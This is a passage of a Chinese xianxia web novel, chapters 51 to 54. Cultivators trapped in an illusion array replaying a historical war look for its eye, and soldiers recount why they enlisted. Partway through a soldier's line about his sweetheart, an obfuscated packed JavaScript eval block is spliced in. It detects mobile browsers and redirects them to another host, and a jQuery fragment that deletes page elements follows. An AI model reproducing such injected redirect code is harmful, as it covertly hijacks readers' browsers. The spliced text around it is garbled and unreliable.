“确实不行。”谢淳说,“用武力虽能让你自己从阵中出去,但幻阵依然存在。且此阵强悍,能不能用武力出去都说不准,更别提你在阵中的灵力是受到压制的。” “那好吧。”叶天舟挠头道。 “阵眼什么的暂且放到一旁,当务之急是搞清楚每个人的状况。我方才传给师姐他们的符到现在还没回来。”梁惜因正略带郁闷地说着,就见一张符纸从营帐门口的缝隙处飞了进来。她面露喜色,连忙伸手接住。 叶天舟迫不及待地问:“怎么样?是谁的符?” “是师姐的,她和二师兄还有杜师兄都在西朔军中。”梁惜因神色有些复杂,“师姐是将军,二师兄和杜师兄则是她手下的兵。” “杜兄也是个小士兵啊,那我可就放心了哈哈哈——”叶天舟抚掌大笑。 梁惜因:“......”有这么好笑吗,烂兄烂弟实锤了。 见三人的目光全都集中在他身上,叶天舟渐渐止住了笑意,清了清嗓子,摆手道:“那啥,你们该说啥说啥,不用管我。” 于是谢淳确定般地问道:“他们在西朔军中?” “对。”梁惜因应道,也难怪这符过了这么久才传回来。之前是他们狭隘了,只有一方是打不成仗的,西朔军也是这 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“两军在平野处进行了大大小小数十场战役,双方各有胜败。在最后大战前的那一场战役中,西朔大获全胜,大盛遭遇了自来到平野后最惨重的战败。西朔军想趁胜追击,一举打溃大盛军,拿下华州城,于是很快便重整兵马而来。只是他们没料到,大盛军此前是诈败,就是为了引得西朔动用全部兵马进攻。此时的西朔军以为此战必胜,志得意满,根本没想到大盛军早已做好埋伏等候他们多时了。” “这便是最后的平野之战,一战打了好几日,两军死伤无数,西朔军几乎是全军覆没,再也无力进攻中原,并最终被大盛攻下,成为大盛国土的一部分。” 谢淳说完后,帐内一时陷入了沉默。梁惜因意识到,平野一战已不再是史书上冰冷的文字,而是将无比真实的在他们面前重现。 她说道:“照这么说,幻阵的最后期限就是那场平野之战,而我们要在那之前找到阵眼。” 叶天舟又问:“那我们怎么知道什么时候打最后一战?” 谢淳说:“我适才问过一个军医,今日是初五,据史书上记载的作战之日还有十天。但幻阵越到后面,时间流逝就会越快,所以留给我们的时间其实并不多。” 梁惜因听后说:“今日时间已经很晚了,不适合在外找线索,容易引人怀疑,不如等明日天明后再继续。”若是让阵中人发觉了异常,幻阵极有可能会变得不稳定起来,到时情况只会更加棘手。 谢淳表示同意:“也好,至于师妹那边,只能先通过传讯符联系了。” 商议完毕后,谢淳和叶天舟都回去了,而梁惜因在军营中没有住所,自然便留在了重霄的营帐中。行军作战总是辛苦的,能保证物资充足就已很不错了,是以哪怕重霄身为校尉,营帐中的床也极为狭窄简陋,只睡一人是完全足够的,睡两人则难免显得拥挤。 重霄卸着身上的铠甲,对坐在床边的梁惜因说:“姐姐,要不今晚我睡地上?” 51. 西朔 “可是地上那么硬,这里肯定也没有多余的床褥。”梁惜因迟疑着说。 重霄不甚在意地说:“无妨,凑合一下,很快就要天亮了。” 梁惜因抿了抿唇,伸手拉住他的袖子:“那还不如我们在床上凑合一晚,再说了...以前也不是没在一张床上睡过。”说到最后,梁惜因声音越来越小,头也渐渐低了下去。 重霄看向她,眸中闪过丝意味不明的笑意。他倾身压了下来,问道:“姐姐这是在邀请我吗?” 什么邀请不邀请的,这话怎么听起来那么奇怪??梁惜因注视着眼前重霄过分精致的面容,呼吸微微一滞。片刻后,她移开视线,果断翻身躺下了:“很晚了,我要睡了。” 她的声音透过被褥传来,听上去有些闷闷的。重霄低低地笑出了声,也躺上了床,从后面将梁惜因揽入怀中,闻着她发上隐隐的香气,柔声道:“晚安,姐姐。” “...晚安。” 窄窄的一张床上,两人的身体紧紧相依。满帐寂静的黑暗中,梁惜因本以为在这陌生的环境她会很难入眠,一直在思索着阵眼最有可能是什么。然而听着背后重霄清浅的呼吸声,感受着将她环绕住的那熟悉的气息,她竟也不知不觉地陷入了睡梦中。 睡得迷迷糊糊间,梁惜因翻了个身,变为了正对着重霄。重霄本就睡得极浅,霎时便被她的动作惊醒了。他下意识地将人抱得更紧了些,随后睁开双眼,一遍遍用目光描摹着他怎么也看不够的容颜。 半晌,他在梁惜因额上轻轻印下了一个吻。 - 西朔军中。 曙色才堪堪刺破黑暗,就有士兵在外大喊道:“燕将军!燕将军!您起了没?” 被吵醒的燕明昭满脸不爽地从床上坐起,心里十分想打人。她一头长发睡得乱糟糟的,眯着眼睛反应了会才想起自己如今身在何处。 燕明昭,你是个将军,要优待下属,不能发火,不能发火。再说了,这总比让她去给别人弹琴唱曲要好吧。她一边不断给自己洗脑一边向外喊道:“马上就来!” 她把长发理好,待梳洗完毕后就开始套铠甲,结果越套越崩溃,这玩意到底要怎么穿啊!她昨晚又到底是怎么脱下来的啊!!又不是马上就上战场了,为什么一定要穿铠甲啊!!! 很是烦躁的燕明昭:“啊啊啊啊——” 守在门外的西朔兵:“......”啥也不知道,啥也不敢问。 又过了半晌,燕明昭终是从帐中走了出来,身披甲衣,墨发高束,瞧着英姿飒爽极了,如果忽略掉她那松松垮垮的护肩和歪斜着的腰带的话。 门外的两个西朔兵看了她一眼,又垂下视线,然后没忍住又看了她一眼。 燕明昭没注意他们的这点小动作,她微微抬着下巴,问道:“这大早上的,找本将军何事?” 她说的是中原话,而西朔兵说的自然是西朔话。但受幻阵影响,他们沟通起来并无障碍。 较高的西朔兵规规矩矩地答道:“燕将军,您忘了吗,这个点您要去监察军士训练了。” 较矮一些西朔兵补充道:“监察完后您还要去与其他将军商讨作战事宜。” 燕明昭:“......行吧。”果然,将军也不是那么好当的。 她昨晚已大致熟悉了营中坏境,此刻便直接往训练场而去。两名西朔兵跟在她身后,较高的那位用胳膊肘碰了碰另一位,并在他看过来时将视线投向燕明昭身上的铠甲,随后又将目光转回来,对他挤了挤眼睛,意思表达的非常明显——你去提醒燕将军。 那矮一点的西朔兵立马摇了摇头,先是用手指了指自己,又在燕明昭和较高的西朔兵中来回指着——为什么是我?你怎么不去? 于是这两名西朔兵你碰我一下,我捣你一下,铠甲发出轻微的碰撞声,就是谁也不愿意先开口。 这时前方的燕明昭忽然回过头来。她好像听到了什么奇怪的声音。 两人立马原地站好,低垂着头。燕明昭的视线在他们身上停留了片刻,又疑惑地将头转了回去,难不成是她听错了? 两名西朔兵松了口气,也不敢再有什么多余的动作了,就这样一路跟随着燕明昭到了训练场。算了,燕将军这么穿一定有她的道理!至于是何道理,那就不是他们两个小兵所能理解的了。 训练军士由等级较低的指挥官来做,像她这种级别的将军只要负责监察便可。而此时的训练场上一片混乱,身穿铠甲的士兵们毫无章法地厮打在一处,整个训练场都混杂着震天的喊声与兵器的碰撞声。 在训练场最前方,有一人抱臂站着,锐利的目光不断在众士兵间游走着,想来就是负责这片营中军士训练的指挥官了。燕明昭走到他身边,状似不经意地清了清嗓子。 指挥官在听到动静的瞬间就回过头来,见是燕明昭,他立时抱拳行礼道:“燕将军。” 燕明昭示意他不必多礼,又看向场上的士兵,试探着问道:“这是在...?” 指挥官:“?” 这不就是日常训练吗,有什么好问的?而且燕将军往日都是淡淡地来看一眼就走了,今日怎么还和他说上话了?? 难不成...是特意来考校他的?指挥官顿时如临大敌,大脑飞速运转着,神情无比严肃地答道:“回将军,这是以模仿作战进行的日常训练。战场上瞬息万变,普通的训练根本无法提升士兵的作战能力,只有如此才能让他们认识到战争不是儿戏,并同时...” “停停停。”燕明昭连忙摆手,她就随口一问,怎么整出了这么一大串来,跟她师兄一样。 “我明白了,你继续,不用管我。”她细致环视了遍场上的士兵,只见他们面上虽带着股狠劲,但手上却是收着力道的,没有真正伤着别人。这般训练士兵,倒也是西朔人能想出来的。 等等,这些西朔兵个个身高体壮的,就柳甫畅那小胳膊小腿,怕是被打晕了都还会被踩上两脚。 思及此,燕明昭绕着训练场走了起来,边走边扫视着里头的士兵。走了不多时,她瞥见有几个西朔兵围在场上一角,与其他士兵不是一般的格格不 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燕明昭一走近,就见先前被他们围在中间嘲笑的正是柳甫畅,此刻他正摆手试图调解杜昱和西朔兵的冲突。 燕明昭顿时心头火起,喊道:“你们在做什么?!” 几个西朔兵这才看见她,浑身吓得一激灵,讷讷道:“燕将军。” “还知道我是将军呢?战场上怎么不见你们这么威风啊?原来本事全都使在欺凌战友上了!”她厉喝道。 那些个西朔兵哪敢说什么,一个个都恨不得把头低到地底下去。唯有柳甫畅直直地注视着她。 前方的指挥官察觉到了异样,连忙跑过来问道:“燕将军,发生何事了?” 燕明昭将那几个西朔兵指了一通:“这些人懈怠训练,欺压战友,你自己看着处置,本将军还有更重要的事要忙。” “是,将军。”指挥官恭敬应声,怒视着她方才指的那些人。 “还有,这两个人我带走了。”燕明昭又指了指柳甫畅和杜昱。 既是她要人,指挥官自是不会多说什么,于是燕明昭身后又多跟了两个人。她在离开前还不忘对指挥官叮嘱道:“以后也别光站在前面了,多在场中逛几圈,或者安排人巡视,省的有人在这浑水摸鱼。” 指挥官连声答应:“将军说得是。” 走出一段距离后,燕明昭问那两个原本就跟在她身后的西朔兵道:“我现在是不是该去主帐议事了?” “是,将军。” “我能不去吗?”燕明昭由衷问道。 两名西朔兵:“......”许是今天的将军太奇怪了,他们竟丝毫不意外她能问出这种话来。 当然燕明昭也就是问问而已,去当然还是要去的,说不定能在其中发现关于阵眼的线索。她便又对这两个西朔兵道:“你们先去主帐处等我,我随后就来。” 等把这两人支走后,燕明昭才看向剩下的杜昱和柳甫畅。 52. 结交 柳甫畅低着头,不去与她对视。杜昱在两人之间来回看着,片刻后仰头望天,露出了一副“我不该在这里,我应该在大盛”的表情。 见状,燕明昭更气了,对柳甫畅道:“他们嘲笑你,你就站在那里任他们笑吗?” 柳甫畅不知从哪儿又掏出了他那把折扇,给燕明昭扇着降火:“师姐,别生气,幻阵而已。” 这也不能全怪金贵的柳少爷,他从小就被人捧着长大,遇到的人基本也都奉承着他,一切能用银子解决的事对他而言都不算事,哪里遇到过像今日这种情况? 是以他第一反应是觉着不可置信,可转念一想,这些人欺负的也不是他,只是他在幻阵中的这个身份而已。于是他便觉得也没什么大不了的,等找到阵眼就能出去了,此时多生事端反而不好。 但常人又哪能全然做到不在乎呢?他方才险些就忍不住要和杜昱一道动手了。只是在那一刻,他看到了燕明昭,他的师姐,幻阵中的将军。 此刻听着燕明昭的责问,柳甫畅面上竟是露出一个笑来。果然,还是被人护着的感觉最好。 “还笑?怎么笑得出来的?”燕明昭丝毫不吃他这一套。 杜昱看热闹不嫌事大:“燕师妹,柳师弟一开始还想给他们银子来着,还好被我给拉住了。” 燕明昭闻言更气了:“还给银子?先不说他们会怀疑你这银子是怎么来的,你给了后他们也只会无止境地索要更多。” 柳甫畅忙低头道:“师姐说的是,是我欠考虑了。” 燕明昭闷哼一声:“真是一点都不让人省心。” 她余光瞥见杜昱在一旁暗笑,又转而开始对他输出:“还有你杜师兄,要不是我来的及时,你还真打算和他们打啊?这训练场上所有人加起来都打不过你这个剑修。” 杜昱:“......” 他立马收住了笑,说道:“燕师妹说的在理。” 看着乖乖被训的二人,燕明昭心头的火已消下去了大半,她摆手道:“行了,你们也别去训练了,抓紧时间找阵眼去,我要去议事了。”有关平野之战的历史,谢淳已通过传讯符告知过他们了。 “等一下,师姐。”柳甫畅喊住她。 燕明昭停住脚步,回头睨了他一眼:“还有何事?” 柳甫畅几步走到她面前,替她将护肩和腰带调整好,嘴里还调侃道:“好歹是个将军,怎么连铠甲都穿不好?” 他抬起头,忽觉两人间的距离实在是过近了。柳甫畅一时呆愣住了,直直地盯着面前的人:“师姐...你的脸怎么这么红啊?” 像是被戳破了什么心思般,燕明昭猛地踩了他一脚:“要你管!” 她踩完后转身就走,不带丝毫犹豫,徒留柳甫畅在原地痛苦单脚跳:“不是师姐,你下次能不能换一只脚踩啊!” 杜昱颇为同情地拍了拍他的肩:“柳师弟,我看好你。” 这个时间点,士兵在训练,将领在议事,其余众人也都各司其职,只有他们两个在漫无目的地到处乱逛。说是要找阵眼,但实际上他们一点头绪都无,时不时还要躲一下路上遇到的巡查兵,免得被盘问一番。 杜昱走在后面,见前方的柳甫畅步伐坚定、积极无比,不禁问道:“柳师弟,你知道阵眼在哪?” 柳甫畅像看傻子一样看着他说:“当然不知道,不然我们现在不就能出去了吗?” 杜昱嘴角抽搐:“...那你走这么快?” 柳甫畅双拳紧握:“因为这是师姐吩咐之事。若是什么都没发现,待会拿什么向师姐交代?” 杜昱:“......”没救了这人。 此时坐在主帐中的燕明昭莫名打了个喷嚏,身旁的一众将领都对她投来视线,燕明昭忙示意自己无事。她本是来走个过场,却意外发现这些人讲的行军布阵之法与她修的阵法有不少相通之处,因此听得倒也算认真。 也不知那两人怎么样了,可别又被欺负了。 - 大盛军营。 梁惜因几人一早便被营中的脚步声吵醒了,待起床会和后,他们四人决定分头去找线索。这时一个士兵匆匆跑了过来,喊道:“梁校尉,原来您在这啊!” 重霄应声回头:“找我何事?” 那士兵闻言急道:“校尉,士兵们还等着您来训练呢!” 这话倒是提醒梁惜因了,是了,重霄这身份也相当于一个小统领了,自是有军务在身。而重霄本人显然对这人间的武将职务不甚了解,也不是很想去。 梁惜因轻笑着握了握他的手:“没事,你且去吧,我和他们先去找线索。” 重霄眉目间含着些许担忧,叮嘱道:“那你自己多加小心。” 叶天舟信誓旦旦地拍着胸脯,向重霄保证道:“放心吧校尉,梁姑娘在我们这绝对出不了岔子。” 重霄又不舍地看了梁惜因一眼,而后对叶天舟和谢淳二人点了点头,转身跟着那急得快要冒烟的士兵走了。等看不到他的背影了,梁惜因才问叶天舟道:“话说你不用去训练的吗?” 叶天舟捂着他那条腿,露出了十分夸张的痛苦神情:“梁仙友你忘了吗,我可是伤兵啊。” 梁惜因颇觉无语:“...那你注意着点,可别暴露了。” 这般连着几日下来,他们对军营的构造已是摸得很清楚了,虽然还是没发现什么关于阵眼的线索,不过倒是和营中不少士兵都变得熟稔起来。 尤其是叶天舟,幻阵给他设定的这身份人缘极好,朋友也很多,连带着谢淳和梁惜因也在其中结识了不少人。他对那些相熟的士兵说谢淳是给他治伤的军医,梁惜因则是梁校尉的家属,偶尔会去军医营中帮忙,他就是在养伤时认识她的。 带家属来战场的军中将领虽然少见,但也不是没有,是以这些士兵也没疑惑多久,只是有些奇怪以前怎么从没在军中见过她。 起初这些人在梁惜因面前还比较拘谨,毕竟她再怎么说都是个姑娘家,且梁校尉在治军时又素来严厉。他们就怕万一惹了这位梁姑娘不高兴,她会去找梁校尉告状,到时候受苦的还是他们。 不过这几日相处下来,他们逐渐发现不论是谢医师还是梁姑娘都是极好相与的性子,倒也难怪叶天舟能和他们处得来。是以全都把他们视作了自己人,比初时要放得开多了。 这日在用午饭时,他们三人同前几日一样与众士兵围坐在一处。军营中的伙食很简单,简单得甚至有些 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“谢医师,叶大哥的伤当真有那么严重吗?”开口的士兵名叫阿越,他面容十分稚嫩,今年才堪堪满十四岁,无疑是这些士兵中年龄最小的一个。 在刚得知阿越的年龄时,梁惜因无疑是震惊的,她久违地想起了原身的糟心弟弟梁宣,同样是十四岁的年纪,有人在自家府中无法无天,活像个混世魔王;而有人却已早早经历了战争的磨练,双目中满是沉稳与坚毅。 军中之人因他年岁小,总是会有意无意地多照顾他些,当然,还要尽可能不被他发现。因着阿越从不觉得自己与其他士兵有何不同,只担心别人会因他年纪小而看不起他。 谢淳正慢条斯理地啃着一张饼,闻言瞥了眼叶天舟,就见他正目光灼灼地盯着自己。 谢淳违心道:“...对,但恢复得很好,想必再过些时日就能痊愈了。” 阿越松了口气,实打实地为叶天舟感到高兴:“太好了,我还以为叶大哥一辈子都要瘸着腿走路了。” 叶天舟:“......” 梁惜因借着吃饼的动作掩住了唇角的笑意。剑修的五感比阵修更为敏锐,因此只要在她旁边走得好好的叶天舟突然变得一瘸一拐起来,她和谢淳就知道附近要来人了。 只是叶天舟这家伙以前从没受过这种腿伤,因此演起来也没个度,格外的面目狰狞、四肢僵硬,就差手脚并用在地上爬了。不像是伤了腿,倒像是半身不遂。 梁惜因和谢淳一度觉得丢人,甚至不想说自己认识他。而见了叶天舟这副凄惨模样的士兵无不大惊,第一眼还以为军中混入了什么奇怪的生物,直到谢淳再三保证叶天周只是伤了腿,他们才将信将疑地走远了,边走还边小声念叨着:“太可怕了,没想到伤了腿就会变成这副模样,以后打仗时一定要多注意些。” 全都听清楚了的三人:“......” 偏偏叶天舟还不明所以地赞同道:“是啊,虽然是在打仗,但还是尽量少受些伤为好。” 梁惜因和谢淳对视一眼,还是决定不要告诉他真相为好。要是杜昱在此处,怕是早就要笑得不成人样了。梁惜因想象了下那副画面,只觉这二人当真是难分伯仲。 53. 缘由 “啊,梁校尉来了!” 不知是谁喊了这么一句,梁惜因抬头,果见重霄正大步向这里走来。她身边早已留好了给他的空位,等他坐下后笑着问道:“集议开完啦?” “嗯。”重霄顺手摸了下她的脑袋。 “校尉,集议上说啥了?”一个瞧着很是精壮的士兵问道。若是放在以往,他们是断然不敢问出口的,因为梁校尉不论是治军还是平时都是极为严肃冷淡之人,从不与他们说起除军令以外之事,更别提像现在这样与他们一同用饭了。还是在梁姑娘出现后才变得平易近人了些。 重霄给自己添了一碗粥,简短回道:“马上又要出兵了。”他们几人其实都是可以不吃东西的,这般做只是为了掩人耳目,不显得过于与众不同。 士兵们听了这话,都无甚反应,还是该吃饼吃饼,该喝粥喝粥,像是早已习惯了。只有一个相貌文弱的士兵叹了一句:“唉,早打完早好啊...” 梁惜因心内一动,不由问道:“说起来,各位当初都是因何来参军的?” 众人一时陷入沉默,最先答话的是那精壮士兵:“不打不行啊,这平野背后就是华州,要是守不下来,那我一家老小和父老乡亲怎么办?”这士兵名叫严伯山,本是华州的一个屠夫。 有人搭腔道:“严哥家里头还有个女儿吧?今年该多大了?” 提起女儿,严伯山线条粗犷的脸上泄出了几分柔情,声音也轻了不少:“我参军那会子她才被生下来,今年该有两岁了,也该会叫阿爹了。” 众士兵难得见他这副模样,诧异过后俱是笑道:“快了严哥,等这仗打完了,就能回去见你丫头了。” “只怕到时候是谁都认不出谁来。” “这小女娃子最是怕生,我家丫头以前也是,一抱就哭,多哄哄就好了。” 严伯山听得认真,一一拱手道:“仗打完了我请诸位吃饭,在座的都有份啊!” 众人齐声高呼,阿越在其中笑着喊道:“严大哥你都是第几次说这话了!” 严伯山大笑几声,拍桌道:“还不是怕你们忘了,都是出生入死的兄弟,到时候谁都不许缺席啊!” 士兵们又一齐呼道:“严哥相邀,哪敢不从啊!” 说到这,严伯山抹了一把脸:“他娘的,真想吃肉啊。” 不少士兵都咽了口唾沫,有人接道:“我还想喝酒。” “别说了,俺从小到大吃的都是芋头和野菜。” “我想吃我娘做的菜了。” “俺想吃俺家里那位做的鱼羹了,要是在冬天里头整上一口,整个人一下子就暖起来了。” 阿越听得两眼发直,伸手摸了摸嘴角,还好没有口水流出来。他打断道:“行了行了,各位大哥,这好不容易才吃了几分饱,再说我又要饿了。” 严伯山撕了半块饼抛给他:“欸,正好我这饼要吃不完了,阿越你替我吃了。” “好嘞严大哥。”阿越抬手,精准地接住了那半张饼。 叶天舟方才跟众人一起笑了半天,这时问道:“那阿越你呢,怎么跑来打仗了?” 阿越半边脸都被饼塞得鼓鼓囊囊,含混不清地说道:“我家里人都死光了,不是饿死的,就是被西朔兵给杀了。我又没钱,比起到处讨饭吃,还是多杀几个西朔兵来得实在。” 梁惜因微微垂眸,遮住了眼中的不忍与怜惜,轻声说:“你的家人定也会在天上保佑你的。” 阿越将口中的饼了咽了下去,被噎得直捶胸口:“不过我现在已经很少想起他们了,我只想着等下次上了战场,一定要再多杀几个西朔人,最好是能带一个西朔人的脑袋回去,放到我父母的坟前。” 一旁的士兵用力拍了下他的后背:“好小子,有种!” “这些狗娘养的西朔人就该给咱大盛百姓赔罪!” “等仗打完了,你们全村人都要知道阿越是杀敌的大英雄了。” 阿越腼腆笑了笑,又问先前说话的文弱士兵道:“余大哥,你呢,为什么不读书来打仗了?” 余安明本是淮州的举人,正要去皇城参加会试,西朔就打过来了,于是果断投笔从戎去了。听了阿越此话,他将手中的粥碗放下,再次长叹了一声:“今西朔南侵,人心惶惶。鄙人自幼熟读圣贤书,自当为国效力,挽家国于危难之际、救百姓于水火之中。又怎可置身事外、独筑高楼?” “啥意思?你听懂没?” “不知道啊。”几个士兵小声嘀咕道。 严伯山挠了挠头:“什么高楼?不是来打仗的吗,打仗要筑楼吗?” 叶天舟忍着笑,替余安明解释道:“余兄的意思是,他身为大盛的男儿,这时候最要紧的不是读书,而是为国杀敌。” 他这般说,众人才都听明白了。余安明赞赏地看他一眼,又问:“不知叶兄又是出于何故而参军?” 这着实把叶天舟给问到了,还能是因为什么,来解阵呗!他扭头看了看其余三人,想用眼神问问这要怎么答,结果没一个理他的,全都移开了视线。 叶天舟:“......”差点忘了,玄晖宗的人在这些小事上向来不靠谱。 于是他随口编道:“为了世间的和平。”为了让这一说法显得更可信些,他半抬起头,仰望天空,眼神坚定无比。 其余三人:“......” 余安明看向他,就像是找到了知己,要不是此处无酒,怕是要直接和他痛饮三杯了。叶天舟担心多说多错,于是捣了下身旁的薛恒:“薛兄,你又为什么要来打仗啊?” 众人的视线又落在了薛恒身上,薛恒从方才起便一直没说话,而是低头盯着手中的一个小物件。此刻他猛然回过神来,忙把手中的东西收进了衣襟。但梁惜因已然在他收起的一瞬间看清那是何物了,那是一枚小小的平安符,款式很是常见,让她觉着有些眼熟。 叶天舟还记着薛恒方才作势要扒自己裤子,这回也伸手去摸他的衣襟:“什么东西啊这么宝贝,给兄弟们看看也不行?” 薛恒侧身躲开,一巴掌拍上他还欲作乱的手:“当然不行!有些东西可不是你想看就能看的。” 听他这么说,叶天舟更好奇了,就是不肯把手收回去。阿越在旁忍笑道:“叶大哥,你就饶了薛大哥吧,那定是他心上人送他的,自然不会随意给其他人看。” 叶天舟一惊,停下了动作:“你还有个心上人呢?” 薛恒耳根微红,瞪他道:“做什么这么震惊,你又不是不知道!” 冤枉啊,他是真不知道啊!叶天舟一手搭上他的肩,揶揄道:“哎呀,我这一时没想起来。不过你俩还没成亲吧,你竟舍得离了她来打仗?” 薛恒眉目间含着怅惘,似是也思念起了那位远方的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661219|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上人:“能怎么办呢,西朔兵势胜,搅得整个大盛不得安宁。如果不先把他们给打跑,我和她也过不了安生日子。” “而且她说过,她会等我回去娶她。”薛恒浅笑着说。他来战场,是为了护住大盛的万千百姓,更是为了守护一人。 余安明喃喃道:“国逢危难,何谈儿女情长啊...” 有士兵问:“薛兄是不是说过那姑娘是陵州人来着?” “是啊,我之前去过一趟陵州,那里的姑娘一个个都好看得紧,说话也细声细气的。” “要是不好看,怎么能入我们薛大哥的眼呢?”阿越大声笑道。 薛恒一把将手中还剩的小半块饼塞到他嘴里:“吃你的吧!” 阿越:“唔唔唔!” “所以那姑娘当真很好看吗?”有士兵忍不住问道。 薛恒默了默,像是陷入了某段回忆。片刻后,他含笑答道:“嗯,好看。在我眼里她就是全天下最好看的姑娘,琴也弹得好极了。” 闻言,有士兵叹道:“唉,我也想我家那婆娘了。” “我还没娶亲呢,你们说我这从小到大都没和姑娘说过几句话,会不会娶不到亲啊?” “这有什么,我和我妻子成婚前都没见过面,你能对她好就行。” 在士兵们不歇的话语间,梁惜因的思绪却是飞往了陵州的那座乐楼,那里曾有位名唤识弦的姑娘,站在窗边用精致的小剪修着烛花,半是羞涩半是愁苦地对她道:“薛郎说了,等仗打完了,就回来娶我...” 心里像是被大石堵住,不住地发闷。梁惜因忽觉自己的手被人握住了,那只手指节修长,肤色苍白,一年四季都带着凉意。她抬眼望去,就见重霄注视着她,柔声轻唤道:“阿因。” 他总是这样,能在第一时刻察觉到她的情绪变化。 梁惜因回握住他的手,压下心头浮起的那些难言情绪。阵眼还没找到,现在不是为这些伤神的时候。 士兵的话题转了一圈,又回到了梁惜因最初问的那句话上,为何要参军?为何要来到这刀光剑影、你死我活的沙场之上?对大多数人来说,他们其实从没想过这个问题。 “不知道啊,我看我同乡都去参军了,所以我也来了。” “俺也不想来啊,官府来村里头抓壮丁。俺刚好就在田里边,就被抓来了。” “我又没有一技之长傍身,在这个世道,参军起码能保证自己不被饿死。” “这年头死的人太多了,到处都是尸体。既然早晚都要死,还不如来拉几个西朔兵垫背。” “我亲眼见到过被西朔攻占的城池,整个就成了座空城,连只鸡都不剩。我不想让我的村子也变成那样。” 说来说去,他们也不过是想找一种方式活下去。这上了战场,就算还是要死,至少也能死得不那么憋屈。? 梁惜因小口喝着粥,静静听着他们说话。眼前的士兵相貌不同,却都有着鲜活无比的面容。这一切不过是幻阵中的景象,但围坐在一起的这些人却不是被凭空捏造出来的。 他们也有自己的喜怒哀乐、牵挂惦念,不论出于何种缘故,都在用自己的身躯守护着身后的大盛。哪怕从无人在意他们的名姓,哪怕在史书上留不下丝毫痕迹。 最起码,他们曾经在这片战场上存在过,那些厮杀与柔情、鲜血与思念,都是如此的真实。 54. 出兵 一群人聊了许久,中午的时间也已过去了大半。叶天舟适时说:“都抓紧时间休息吧各位,下午还要训练呢。” 薛恒按着他的头道:“就你不用训练是吧?” “啊!我的腿!”叶天舟又抱着腿开始叫了。 薛恒:“......”没事吧哥们??他按的是头啊!! 重霄也说:“都回帐中去吧,下午我会与你们说出兵之事。” 既然重霄都开口了,士兵们也便陆续起身走了。梁惜因让重霄他们三人先回去,自己则喊住了薛恒:“薛公子,还请留步。” 薛恒闻声回头,面上还有些怔愣,隔着些距离问她:“梁姑娘,是你喊我?” 梁惜因点头,缓缓道:“我认识一位陵州乐楼的姑娘,她名唤识弦...” 话未说完,薛恒就向她走近了几步,激动地说:“梁姑娘,你认识阿弦?!” “是。” 薛恒得了肯定,更是激动得双颊泛红,在原地踱来踱去:“太好了,梁姑娘你上次见阿弦是何时,她近来可好?我上回寄给她的信她到现在还没回,我听闻西朔兵此前绕道去攻陵州了,也不知她有没有事...” 这般自顾自说了许多,他才反应过来自己没给梁惜因留回话的间隙,连忙止住话头,歉意地对她笑了笑:“抱歉梁姑娘,我话太多了。” “无妨。”梁惜因抿唇笑道。看来士兵们的消息并不完全灵通,薛恒知道陵州城破后又被大盛夺回了,却不知陵州的乐楼已被烧毁,楼中的所有姑娘与西朔的将领士兵也都葬身在了火海中。 眼前的薛恒还在等着她回话,满脸的喜色。却不知在千里之外,红颜早已化作枯骨。 梁惜因没将自己的情绪泄露分毫,含笑回道:“识弦姑娘过得很好,她与楼中姐妹彼此帮扶着,也不愁日子过不下去。只是...” “只是什么?”薛恒急切追问道。 “只是她很想你,时常与我们说起她的薛郎。还说你要是再不回去,她就不乐意等你了。” “真的吗,她在想我...这确实是她能说出来的话,”薛恒的笑容里带上了几分苦涩,“是我让她等太久了,这么危险的时候,我却不能陪在她身边。” “她不会怪你的。”记忆中那清婉而决绝的女子又出现在了梁惜因的脑海中,“至于信件,这兵荒马乱的年头,收不到也实属正常。” “梁姑娘说得在理,阿弦要是收不到我的信又该急了,我这便回去再写一封。”薛恒一拍脑门,转身跑了,连脚步里都带着几分雀跃。 梁惜因立在原地,望着他离去的背影。她也不知自己为何要特意喊住他说些谎话,许是实在为这两人感到难过,便想着要做些什么。半晌,她迈开脚步,向重霄的营帐中走去。 时日已过去近一半了,最多还有六日,无论找没找到阵眼,这一切都将结束了。 帐中三人坐在桌旁,见她来了,叶天舟抬手向她招呼道:“梁仙友,你干什么...”去了。 在重霄冰冷的眼神下,叶天舟把最后两个字又咽了回去。他说错什么了吗?干嘛这么看着他啊??很吓人的好不好! 然而下一瞬,重霄就如什么都没发生般,起身牵住梁惜因,将她带到桌旁。察觉到她情绪有些低落,还轻声安慰了她几句。 梁惜因向他扬唇一笑:“又让阿霄担心了。” “无事,只要姐姐不难过便好。”重霄注视着她说。 目睹了这一切的叶天舟:“......” 他都有些怀疑刚才那一眼只是他的错觉了。他偏头看向谢淳,想从他那处求证,却见谢淳一直低着头,正皱眉思索着什么。 直到梁惜因在桌旁坐下,他才像是回过神来,抬头说:“小师妹回来了啊。” 这下人齐了,谢淳便问重霄道:“梁公子,你先前说的出兵是何时?” “后日。且集议时大将军有令,此次出兵只许败,不许胜,败得越惨烈越好。”重霄复述道。 “看来这就是史书上说的那次诈败了。”叶天舟说。 谢淳面色凝重:“此次出兵过后就是平野之战了。这几日下来,时间流逝得越来越快,留给我们的时间已不多了。” 叶天舟揪着自己的头发,喊道:“这阵眼到底要怎么找啊?这么大个军营。还不如让我去跟魔兽对决!” 谢淳说:“我方才已与师妹通过消息,他们那也没什么发现。” 几人一时无言,梁惜因侧目对重霄说:“阿霄,后日的出兵,我与你同去。” “好。”重霄很快应声。 叶天舟看着他们,急道:“这不妥吧,战场上刀剑无眼,太危险了。” 谢淳笑道:“叶仙友大可宽心,这刀剑是伤不了我们几人的。” “啊?”叶天舟懵了。 “我方才便在想,既是归虚阵,就一定有其关键节点在其中。”谢淳解释道,“对这一阵法来说,诈败和此后的平野之战就是其节点。这两场战役都是历史上已经发生过的事。可我们作为多出来的人,并不存在于史书中。在平常的普通时日,由于入阵之人的干涉,定会使幻阵中的场景与实际发生过的有所差别,不过也无伤大雅。但关键节点则一定会全然再现历史。” 